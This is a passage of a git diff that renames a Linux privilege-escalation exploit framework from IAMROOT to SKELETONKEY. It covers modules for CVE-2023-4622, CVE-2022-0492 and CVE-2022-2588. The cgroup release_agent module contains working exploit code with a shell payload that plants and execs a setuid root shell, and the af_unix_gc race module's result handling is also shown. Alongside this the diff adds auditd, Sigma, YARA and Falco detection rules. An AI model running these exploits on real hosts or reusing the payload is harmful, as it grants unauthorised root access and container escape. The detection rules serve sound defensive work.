                 fclose(fl);
             }
             drain_kmalloc_512(queues);
-            if (fr == IAMROOT_EXPLOIT_OK) _exit(34);   /* root popped */
+            if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);   /* root popped */
             _exit(35);                                  /* finisher ran, no land */
         }
 
@@ -729,7 +737,7 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
     /* PARENT */
     int status = 0;
     pid_t w = waitpid(child, &status, 0);
-    if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
+    if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; }
 
     if (WIFSIGNALED(status)) {
         int sig = WTERMSIG(status);
@@ -738,26 +746,26 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
                             "(consistent with UAF firing under KASAN)\n", sig);
             fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
                             "    overwrite primitive — NOT claiming EXPLOIT_OK.\n"
-                            "    See /tmp/iamroot-af_unix_gc.log + dmesg for witnesses.\n");
+                            "    See /tmp/skeletonkey-af_unix_gc.log + dmesg for witnesses.\n");
         }
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     if (!WIFEXITED(status)) {
         fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
                 status);
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     int rc = WEXITSTATUS(status);
-    if (rc == 23 || rc == 24) return IAMROOT_PRECOND_FAIL;
+    if (rc == 23 || rc == 24) return SKELETONKEY_PRECOND_FAIL;
 
     if (rc == 34) {
         if (!ctx->json) {
             fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
                             "EXPLOIT_OK (race won + write landed)\n");
         }
-        return IAMROOT_EXPLOIT_OK;
+        return SKELETONKEY_EXPLOIT_OK;
     }
     if (rc == 35) {
         if (!ctx->json) {
@@ -765,11 +773,11 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
                             "    win + land within budget (expected outcome on most\n"
                             "    runs — race wins are a fraction of a percent).\n");
         }
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
     if (rc != 30) {
         fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     if (!ctx->json) {
@@ -778,39 +786,39 @@ static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
                         "    implemented (per-kernel offsets; see module .c TODO\n"
                         "    blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
     }
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }
 
 #endif /* __linux__ */
 
-static iamroot_result_t af_unix_gc_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t af_unix_gc_exploit(const struct skeletonkey_ctx *ctx)
 {
     if (!ctx->authorized) {
         fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
     }
 #ifdef __linux__
     return af_unix_gc_exploit_linux(ctx);
 #else
     (void)ctx;
     fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
-    return IAMROOT_PRECOND_FAIL;
+    return SKELETONKEY_PRECOND_FAIL;
 #endif
 }
 
 /* ---- Cleanup ----------------------------------------------------- */
 
-static iamroot_result_t af_unix_gc_cleanup(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t af_unix_gc_cleanup(const struct skeletonkey_ctx *ctx)
 {
     if (!ctx->json) {
         fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
     }
-    if (unlink("/tmp/iamroot-af_unix_gc.log") < 0 && errno != ENOENT) {
+    if (unlink("/tmp/skeletonkey-af_unix_gc.log") < 0 && errno != ENOENT) {
         /* harmless */
     }
     /* Race threads + msg queues live inside the now-exited child;
      * nothing else to drain. */
-    return IAMROOT_OK;
+    return SKELETONKEY_OK;
 }
 
 /* ---- Detection rules --------------------------------------------- */
@@ -821,11 +829,61 @@ static const char af_unix_gc_auditd[] =
     "# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
     "# benign — flag the *frequency* by correlating these keys with a\n"
     "# subsequent KASAN message in dmesg.\n"
-    "-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k iamroot-afunixgc-pair\n"
-    "-a always,exit -F arch=b64 -S sendmsg    -k iamroot-afunixgc-sendmsg\n"
-    "-a always,exit -F arch=b64 -S msgsnd     -k iamroot-afunixgc-spray\n";
+    "-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k skeletonkey-afunixgc-pair\n"
+    "-a always,exit -F arch=b64 -S sendmsg    -k skeletonkey-afunixgc-sendmsg\n"
+    "-a always,exit -F arch=b64 -S msgsnd     -k skeletonkey-afunixgc-spray\n";
 
-const struct iamroot_module af_unix_gc_module = {
+static const char af_unix_gc_sigma[] =
+    "title: Possible CVE-2023-4622 AF_UNIX GC UAF race\n"
+    "id: c45d7eb3-skeletonkey-af-unix-gc\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects tight-loop socketpair(AF_UNIX) + sendmsg with SCM_RIGHTS\n"
+    "  + msgsnd grooming pattern characteristic of the AF_UNIX garbage\n"
+    "  collector race. False positives: legitimate IPC apps use\n"
+    "  SCM_RIGHTS, but the high-frequency close-and-recreate cycle is\n"
+    "  unusual outside fuzzing / exploit harnesses.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  sp:    {type: 'SYSCALL', syscall: 'socketpair', a0: 1}\n"
+    "  scm:   {type: 'SYSCALL', syscall: 'sendmsg'}\n"
+    "  groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
+    "  condition: sp and scm and groom\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2023.4622]\n";
+
+static const char af_unix_gc_yara[] =
+    "rule af_unix_gc_cve_2023_4622 : cve_2023_4622 kernel_uaf\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2023-4622\"\n"
+    "        description = \"AF_UNIX GC race kmalloc-512 spray tag or log breadcrumb\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $tag = \"SKELETONKEYU\" ascii\n"
+    "        $log = \"/tmp/skeletonkey-af_unix_gc.log\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char af_unix_gc_falco[] =
+    "- rule: SCM_RIGHTS cycling on AF_UNIX with msg_msg groom\n"
+    "  desc: |\n"
+    "    Tight socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd\n"
+    "    pattern characteristic of the AF_UNIX garbage collector\n"
+    "    race (CVE-2023-4622). False positives: IPC libraries use\n"
+    "    SCM_RIGHTS legitimately but rarely with the close-and-\n"
+    "    recreate cycle at this frequency.\n"
+    "  condition: >\n"
+    "    evt.type = sendmsg and fd.sockfamily = AF_UNIX and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    SCM_RIGHTS sendmsg on AF_UNIX by non-root\n"
+    "    (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [ipc, mitre_privilege_escalation, T1068, cve.2023.4622]\n";
+
+const struct skeletonkey_module af_unix_gc_module = {
     .name           = "af_unix_gc",
     .cve            = "CVE-2023-4622",
     .summary        = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
@@ -836,12 +894,14 @@ const struct iamroot_module af_unix_gc_module = {
     .mitigate       = NULL,
     .cleanup        = af_unix_gc_cleanup,
     .detect_auditd  = af_unix_gc_auditd,
-    .detect_sigma   = NULL,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_sigma   = af_unix_gc_sigma,
+    .detect_yara    = af_unix_gc_yara,
+    .detect_falco   = af_unix_gc_falco,
+    .opsec_notes    = "Two-threaded race: Thread A creates socketpair(AF_UNIX) with SCM_RIGHTS cycle then close; Thread B drives independent SCM_RIGHTS traffic on a held pair. ~5s budget (30s with --full-chain). msg_msg kmalloc-512 spray tagged 'SKELETONKEYU'. Writes /tmp/skeletonkey-af_unix_gc.log with empirical stats. Audit-visible via socketpair(AF_UNIX) + sendmsg(SCM_RIGHTS) + msgsnd triple. Dmesg may show UAF KASAN if kernel vulnerable. Cleanup callback unlinks the log.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
-void iamroot_register_af_unix_gc(void)
+void skeletonkey_register_af_unix_gc(void)
 {
-    iamroot_register(&af_unix_gc_module);
+    skeletonkey_register(&af_unix_gc_module);
 }

modules/af_unix_gc_cve_2023_4622/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * af_unix_gc_cve_2023_4622 — SKELETONKEY module registry hook
+ */
+
+#ifndef AF_UNIX_GC_SKELETONKEY_MODULES_H
+#define AF_UNIX_GC_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module af_unix_gc_module;
+
+#endif

modules/cgroup_release_agent_cve_2022_0492/NOTICE.md

@@ -16,7 +16,7 @@ Original writeup:
 
 Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
 
-## IAMROOT role
+## SKELETONKEY role
 
 **Universal structural exploit — no per-kernel offsets, no race.**
 unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,

modules/cgroup_release_agent_cve_2022_0492/iamroot_modules.h

@@ -1,12 +0,0 @@
-/*
- * cgroup_release_agent_cve_2022_0492 — IAMROOT module registry hook
- */
-
-#ifndef CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
-#define CGROUP_RELEASE_AGENT_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module cgroup_release_agent_module;
-
-#endif

modules/cgroup_release_agent_cve_2022_0492/skeletonkey_modules.c

@@ -1,5 +1,5 @@
 /*
- * cgroup_release_agent_cve_2022_0492 — IAMROOT module
+ * cgroup_release_agent_cve_2022_0492 — SKELETONKEY module
  *
  * cgroup v1 release_agent file is checked only for "is the writer
  * root in the cgroup namespace" — NOT "is the writer root in the
@@ -36,9 +36,8 @@
  * exposure even if all the fancy heap-spray bugs are patched.
  */
 
-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
-#include "../../core/kernel_range.h"
 
 #include <stdio.h>
 #include <stdlib.h>
@@ -46,6 +45,11 @@
 #include <string.h>
 #include <stdbool.h>
 #include <unistd.h>
+
+#ifdef __linux__
+
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
 #include <fcntl.h>
 #include <errno.h>
 #include <sched.h>
@@ -71,54 +75,50 @@ static const struct kernel_range cgroup_ra_range = {
                       sizeof(cgroup_ra_patched_branches[0]),
 };
 
-static int can_unshare_userns_mount(void)
-{
-    pid_t pid = fork();
-    if (pid < 0) return -1;
-    if (pid == 0) {
-        if (unshare(CLONE_NEWUSER | CLONE_NEWNS) == 0) _exit(0);
-        _exit(1);
-    }
-    int status;
-    waitpid(pid, &status, 0);
-    return WIFEXITED(status) && WEXITSTATUS(status) == 0;
-}
+/* The unprivileged-userns precondition is now read from the shared
+ * host fingerprint (ctx->host->unprivileged_userns_allowed), which
+ * probes once at startup via core/host.c. The previous per-detect
+ * fork-probe helper was removed. */
 
-static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
 {
-    struct kernel_version v;
-    if (!kernel_version_current(&v)) {
-        fprintf(stderr, "[!] cgroup_release_agent: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+    /* Consult the shared host fingerprint instead of calling
+     * kernel_version_current() ourselves — populated once at startup
+     * and identical across every module's detect(). */
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] cgroup_release_agent: host fingerprint missing kernel "
+                "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
     }
 
-    bool patched = kernel_range_is_patched(&cgroup_ra_range, &v);
+    bool patched = kernel_range_is_patched(&cgroup_ra_range, v);
     if (patched) {
         if (!ctx->json) {
-            fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v.release);
+            fprintf(stderr, "[+] cgroup_release_agent: kernel %s is patched\n", v->release);
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
-    int userns_ok = can_unshare_userns_mount();
+    bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false;
     if (!ctx->json) {
-        fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v.release);
+        fprintf(stderr, "[i] cgroup_release_agent: kernel %s in vulnerable range\n", v->release);
         fprintf(stderr, "[i] cgroup_release_agent: user_ns+mount_ns clone: %s\n",
-                userns_ok == 1 ? "ALLOWED" :
-                userns_ok == 0 ? "DENIED" : "could not test");
+                userns_ok ? "ALLOWED" : "DENIED");
     }
 
-    if (userns_ok == 0) {
+    if (!userns_ok) {
         if (!ctx->json) {
             fprintf(stderr, "[+] cgroup_release_agent: user_ns denied → unprivileged exploit unreachable\n");
         }
-        return IAMROOT_PRECOND_FAIL;
+        return SKELETONKEY_PRECOND_FAIL;
     }
     if (!ctx->json) {
         fprintf(stderr, "[!] cgroup_release_agent: VULNERABLE — kernel in range AND userns reachable\n");
         fprintf(stderr, "[i] cgroup_release_agent: exploit is universal (no arch-specific bits)\n");
     }
-    return IAMROOT_VULNERABLE;
+    return SKELETONKEY_VULNERABLE;
 }
 
 /* ---- Exploit -----------------------------------------------------
@@ -130,12 +130,12 @@ static iamroot_result_t cgroup_ra_detect(const struct iamroot_ctx *ctx)
 
 static const char PAYLOAD_SHELL[] =
     "#!/bin/sh\n"
-    "# IAMROOT cgroup_release_agent payload — runs as init-ns root\n"
-    "id > /tmp/iamroot-cgroup-pwned\n"
-    "chmod 666 /tmp/iamroot-cgroup-pwned 2>/dev/null\n"
-    "cp /bin/sh /tmp/iamroot-cgroup-sh 2>/dev/null\n"
-    "chmod +s /tmp/iamroot-cgroup-sh 2>/dev/null\n"
-    "chown root:root /tmp/iamroot-cgroup-sh 2>/dev/null\n";
+    "# SKELETONKEY cgroup_release_agent payload — runs as init-ns root\n"
+    "id > /tmp/skeletonkey-cgroup-pwned\n"
+    "chmod 666 /tmp/skeletonkey-cgroup-pwned 2>/dev/null\n"
+    "cp /bin/sh /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
+    "chmod +s /tmp/skeletonkey-cgroup-sh 2>/dev/null\n"
+    "chown root:root /tmp/skeletonkey-cgroup-sh 2>/dev/null\n";
 
 static bool write_file(const char *path, const char *content)
 {
@@ -147,23 +147,26 @@ static bool write_file(const char *path, const char *content)
     return ok;
 }
 
-static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
 {
-    iamroot_result_t pre = cgroup_ra_detect(ctx);
-    if (pre != IAMROOT_VULNERABLE) {
+    skeletonkey_result_t pre = cgroup_ra_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
         fprintf(stderr, "[-] cgroup_release_agent: detect() says not vulnerable; refusing\n");
         return pre;
     }
-    if (geteuid() == 0) {
+    /* Consult ctx->host->is_root so unit tests can construct a
+     * non-root fingerprint regardless of the test process's real euid. */
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
         fprintf(stderr, "[i] cgroup_release_agent: already root\n");
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
     /* Drop the setuid-root-shell payload to a path we can read+exec
      * later. Payload runs as host root when the cgroup is released. */
-    const char *payload_path = "/tmp/iamroot-cgroup-payload.sh";
+    const char *payload_path = "/tmp/skeletonkey-cgroup-payload.sh";
     if (!write_file(payload_path, PAYLOAD_SHELL)) {
-        return IAMROOT_TEST_ERROR;
+        return SKELETONKEY_TEST_ERROR;
     }
     chmod(payload_path, 0755);
     if (!ctx->json) {
@@ -173,7 +176,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
     /* Fork: child does the exploit; parent waits then verifies + execs
      * the setuid shell we expect the payload to plant. */
     pid_t child = fork();
-    if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
+    if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
     if (child == 0) {
         /* CHILD: enter userns + mountns, become "root" in userns. */
         if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) { perror("unshare"); _exit(2); }
@@ -193,7 +196,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
 
         /* Mount cgroup v1 (rdma controller — small, simple, works
          * even on cgroup-v2-first systems). */
-        const char *cgmount = "/tmp/iamroot-cgroup-mnt";
+        const char *cgmount = "/tmp/skeletonkey-cgroup-mnt";
         mkdir(cgmount, 0700);
         if (mount("cgroup", cgmount, "cgroup", 0, "rdma") < 0) {
             /* Fallback: try memory controller — needs different reach */
@@ -206,7 +209,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
          * Buffers sized generously vs. cgmount template + "/notify_on_release"
          * tail (28 bytes) so GCC -Wformat-truncation is satisfied. */
         char cgdir[384];
-        snprintf(cgdir, sizeof cgdir, "%s/iamroot", cgmount);
+        snprintf(cgdir, sizeof cgdir, "%s/skeletonkey", cgmount);
         mkdir(cgdir, 0755);
 
         /* Write release_agent in the ROOT of the controller (must be
@@ -254,9 +257,9 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
                         "polling for payload execution\n", status);
     }
 
-    /* Payload writes /tmp/iamroot-cgroup-sh as setuid root. Poll for
+    /* Payload writes /tmp/skeletonkey-cgroup-sh as setuid root. Poll for
      * its appearance + setuid bit. Up to 5 seconds. */
-    const char *setuid_sh = "/tmp/iamroot-cgroup-sh";
+    const char *setuid_sh = "/tmp/skeletonkey-cgroup-sh";
     bool got_root = false;
     for (int i = 0; i < 50; i++) {
         struct stat st;
@@ -271,7 +274,7 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
         fprintf(stderr, "[-] cgroup_release_agent: payload did not produce setuid root shell. "
                         "Likely patched or cgroup-controller-blocked.\n");
         unlink(payload_path);
-        return IAMROOT_EXPLOIT_FAIL;
+        return SKELETONKEY_EXPLOIT_FAIL;
     }
 
     if (!ctx->json) {
@@ -280,39 +283,67 @@ static iamroot_result_t cgroup_ra_exploit(const struct iamroot_ctx *ctx)
     if (ctx->no_shell) {
         fprintf(stderr, "[+] cgroup_release_agent: --no-shell — shell planted, not executing\n");
         unlink(payload_path);
-        return IAMROOT_EXPLOIT_OK;
+        return SKELETONKEY_EXPLOIT_OK;
     }
     fprintf(stderr, "[+] cgroup_release_agent: execing %s -p (preserve uid=0)\n", setuid_sh);
     fflush(NULL);
     execl(setuid_sh, "sh", "-p", (char *)NULL);
     perror("execl");
     unlink(payload_path);
-    return IAMROOT_EXPLOIT_FAIL;
+    return SKELETONKEY_EXPLOIT_FAIL;
 }
 
-static iamroot_result_t cgroup_ra_cleanup(const struct iamroot_ctx *ctx)
+static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
 {
     (void)ctx;
     if (!ctx->json) {
-        fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/iamroot-cgroup-*\n");
+        fprintf(stderr, "[*] cgroup_release_agent: removing /tmp/skeletonkey-cgroup-*\n");
     }
-    if (system("rm -f /tmp/iamroot-cgroup-payload.sh /tmp/iamroot-cgroup-sh "
-               "/tmp/iamroot-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
-    if (system("umount /tmp/iamroot-cgroup-mnt 2>/dev/null; "
-               "rmdir /tmp/iamroot-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
-    return IAMROOT_OK;
+    if (system("rm -f /tmp/skeletonkey-cgroup-payload.sh /tmp/skeletonkey-cgroup-sh "
+               "/tmp/skeletonkey-cgroup-pwned 2>/dev/null") != 0) { /* harmless */ }
+    if (system("umount /tmp/skeletonkey-cgroup-mnt 2>/dev/null; "
+               "rmdir /tmp/skeletonkey-cgroup-mnt 2>/dev/null") != 0) { /* harmless */ }
+    return SKELETONKEY_OK;
 }
 
+#else  /* !__linux__ */
+
+/* Non-Linux dev builds: unshare(CLONE_NEWUSER|CLONE_NEWNS) + cgroup v1
+ * mount are Linux-only kernel surface; the release_agent primitive is
+ * structurally unreachable elsewhere. Stub out cleanly so the module
+ * still registers and `--list` / `--detect-rules` work on macOS/BSD
+ * dev boxes — and so the top-level `make` actually completes there. */
+static skeletonkey_result_t cgroup_ra_detect(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json)
+        fprintf(stderr, "[i] cgroup_release_agent: Linux-only module "
+                "(user_ns + cgroup v1 release_agent) — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t cgroup_ra_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[-] cgroup_release_agent: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t cgroup_ra_cleanup(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    return SKELETONKEY_OK;
+}
+
+#endif /* __linux__ */
+
 static const char cgroup_ra_auditd[] =
     "# cgroup_release_agent (CVE-2022-0492) — auditd detection rules\n"
     "# Flag unshare(NEWUSER|NEWNS) + mount(cgroup) + writes to release_agent.\n"
-    "-a always,exit -F arch=b64 -S unshare -k iamroot-cgroup-ra\n"
-    "-a always,exit -F arch=b64 -S mount -F a2=cgroup -k iamroot-cgroup-ra-mount\n"
-    "-w /sys/fs/cgroup -p w -k iamroot-cgroup-ra-fswatch\n";
+    "-a always,exit -F arch=b64 -S unshare -k skeletonkey-cgroup-ra\n"
+    "-a always,exit -F arch=b64 -S mount -F a2=cgroup -k skeletonkey-cgroup-ra-mount\n"
+    "-w /sys/fs/cgroup -p w -k skeletonkey-cgroup-ra-fswatch\n";
 
 static const char cgroup_ra_sigma[] =
     "title: Possible CVE-2022-0492 cgroup_release_agent exploitation\n"
-    "id: 5c84a37e-iamroot-cgroup-ra\n"
+    "id: 5c84a37e-skeletonkey-cgroup-ra\n"
     "status: experimental\n"
     "description: |\n"
     "  Detects the canonical exploit shape: unprivileged process unshares\n"
@@ -328,7 +359,37 @@ static const char cgroup_ra_sigma[] =
     "level: high\n"
     "tags: [attack.privilege_escalation, attack.t1611, cve.2022.0492]\n";
 
-const struct iamroot_module cgroup_release_agent_module = {
+static const char cgroup_release_agent_yara[] =
+    "rule cgroup_release_agent_cve_2022_0492 : cve_2022_0492 container_escape\n"
+    "{\n"
+    "    meta:\n"
+    "        cve         = \"CVE-2022-0492\"\n"
+    "        description = \"cgroup v1 release_agent payload + dropped setuid shell artifacts\"\n"
+    "        author      = \"SKELETONKEY\"\n"
+    "    strings:\n"
+    "        $payload = \"/tmp/skeletonkey-cgroup-payload.sh\" ascii\n"
+    "        $shell   = \"/tmp/skeletonkey-cgroup-sh\" ascii\n"
+    "        $mnt     = \"/tmp/skeletonkey-cgroup-mnt\" ascii\n"
+    "    condition:\n"
+    "        any of them\n"
+    "}\n";
+
+static const char cgroup_release_agent_falco[] =
+    "- rule: cgroup v1 mount by non-root with release_agent write\n"
+    "  desc: |\n"
+    "    A non-root process inside a userns mounts cgroup v1 and\n"
+    "    writes to a release_agent file. CVE-2022-0492 trigger:\n"
+    "    release_agent runs as init-ns root when cgroup empties.\n"
+    "  condition: >\n"
+    "    evt.type = mount and evt.arg.fstype = cgroup and\n"
+    "    not user.uid = 0\n"
+    "  output: >\n"
+    "    cgroup v1 mount by non-root\n"
+    "    (user=%user.name pid=%proc.pid target=%evt.arg.name)\n"
+    "  priority: CRITICAL\n"
+    "  tags: [container, mitre_privilege_escalation, T1611, cve.2022.0492]\n";
+
+const struct skeletonkey_module cgroup_release_agent_module = {
     .name           = "cgroup_release_agent",
     .cve            = "CVE-2022-0492",
     .summary        = "cgroup v1 release_agent privilege check in wrong namespace → host root",
@@ -340,11 +401,13 @@ const struct iamroot_module cgroup_release_agent_module = {
     .cleanup        = cgroup_ra_cleanup,
     .detect_auditd  = cgroup_ra_auditd,
     .detect_sigma   = cgroup_ra_sigma,
-    .detect_yara    = NULL,
-    .detect_falco   = NULL,
+    .detect_yara    = cgroup_release_agent_yara,
+    .detect_falco   = cgroup_release_agent_falco,
+    .opsec_notes    = "unshare(CLONE_NEWUSER|CLONE_NEWNS), mount cgroup v1 at /tmp/skeletonkey-cgroup-mnt, write payload path to release_agent file at cgroup root, echo 1 to notify_on_release in subdir, add PID to cgroup.procs and exit. Payload at /tmp/skeletonkey-cgroup-payload.sh runs as init-namespace root when cgroup empties, dropping setuid /tmp/skeletonkey-cgroup-sh. Audit-visible via unshare + mount(cgroup) + open/write of release_agent. Cleanup callback removes /tmp/skeletonkey-cgroup-* and umounts.",
+    .arch_support   = "x86_64+unverified-arm64",
 };
 
-void iamroot_register_cgroup_release_agent(void)
+void skeletonkey_register_cgroup_release_agent(void)
 {
-    iamroot_register(&cgroup_release_agent_module);
+    skeletonkey_register(&cgroup_release_agent_module);
 }

modules/cgroup_release_agent_cve_2022_0492/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * cgroup_release_agent_cve_2022_0492 — SKELETONKEY module registry hook
+ */
+
+#ifndef CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
+#define CGROUP_RELEASE_AGENT_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module cgroup_release_agent_module;
+
+#endif

modules/cls_route4_cve_2022_2588/NOTICE.md

@@ -15,7 +15,7 @@ Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
 Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
 Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
 
-## IAMROOT role
+## SKELETONKEY role
 
 The module uses `unshare(USER|NET)`, brings up a dummy interface,
 creates an htb qdisc + class, adds a `route4` filter, then deletes

modules/cls_route4_cve_2022_2588/iamroot_modules.h

@@ -1,12 +0,0 @@
-/*
- * cls_route4_cve_2022_2588 — IAMROOT module registry hook
- */
-
-#ifndef CLS_ROUTE4_IAMROOT_MODULES_H
-#define CLS_ROUTE4_IAMROOT_MODULES_H
-
-#include "../../core/module.h"
-
-extern const struct iamroot_module cls_route4_module;
-
-#endif

modules/cls_route4_cve_2022_2588/skeletonkey_modules.c

@@ -1,5 +1,5 @@
 /*
- * cls_route4_cve_2022_2588 — IAMROOT module
+ * cls_route4_cve_2022_2588 — SKELETONKEY module
  *
  * net/sched cls_route4 dead UAF: when a route4 filter with handle==0
  * is removed, the corresponding hashtable bucket may keep a stale
@@ -38,11 +38,8 @@
  *   - iproute2 `tc` binary present (used for filter add/del)
  */
 
-#include "iamroot_modules.h"
+#include "skeletonkey_modules.h"
 #include "../../core/registry.h"
-#include "../../core/kernel_range.h"
-#include "../../core/offsets.h"
-#include "../../core/finisher.h"
 
 #include <stdio.h>
 #include <stdlib.h>
@@ -50,6 +47,14 @@
 #include <string.h>
 #include <stdbool.h>
 #include <unistd.h>
+
+#ifdef __linux__
+
+#include "../../core/kernel_range.h"
+#include "../../core/host.h"
+#include "../../core/offsets.h"
+#include "../../core/finisher.h"
+
 #include <fcntl.h>
 #include <errno.h>
 #include <sched.h>
@@ -93,65 +98,56 @@ static bool cls_route4_module_available(void)
     return found;
 }
 
-static int can_unshare_userns(void)
+static skeletonkey_result_t cls_route4_detect(const struct skeletonkey_ctx *ctx)
 {
-    pid_t pid = fork();
-    if (pid < 0) return -1;
-    if (pid == 0) {
-        if (unshare(CLONE_NEWUSER | CLONE_NEWNET) == 0) _exit(0);
-        _exit(1);
-    }
-    int status;
-    waitpid(pid, &status, 0);
-    return WIFEXITED(status) && WEXITSTATUS(status) == 0;
-}
-
-static iamroot_result_t cls_route4_detect(const struct iamroot_ctx *ctx)
-{
-    struct kernel_version v;
-    if (!kernel_version_current(&v)) {
-        fprintf(stderr, "[!] cls_route4: could not parse kernel version\n");
-        return IAMROOT_TEST_ERROR;
+    /* Consult the shared host fingerprint instead of calling
+     * kernel_version_current() ourselves — populated once at startup
+     * and identical across every module's detect(). */
+    const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
+    if (!v || v->major == 0) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] cls_route4: host fingerprint missing kernel "
+                            "version — bailing\n");
+        return SKELETONKEY_TEST_ERROR;
     }
 
     /* Bug-introduction predates anything we'd reasonably scan; if the
      * kernel is below the oldest LTS we model (5.4), still report
      * vulnerable. */
-    bool patched = kernel_range_is_patched(&cls_route4_range, &v);
+    bool patched = kernel_range_is_patched(&cls_route4_range, v);
     if (patched) {
         if (!ctx->json) {
-            fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v.release);
+            fprintf(stderr, "[+] cls_route4: kernel %s is patched\n", v->release);
         }
-        return IAMROOT_OK;
+        return SKELETONKEY_OK;
     }
 
     /* Module + userns preconditions. */
     bool nft_loaded = cls_route4_module_available();
-    int userns_ok = can_unshare_userns();
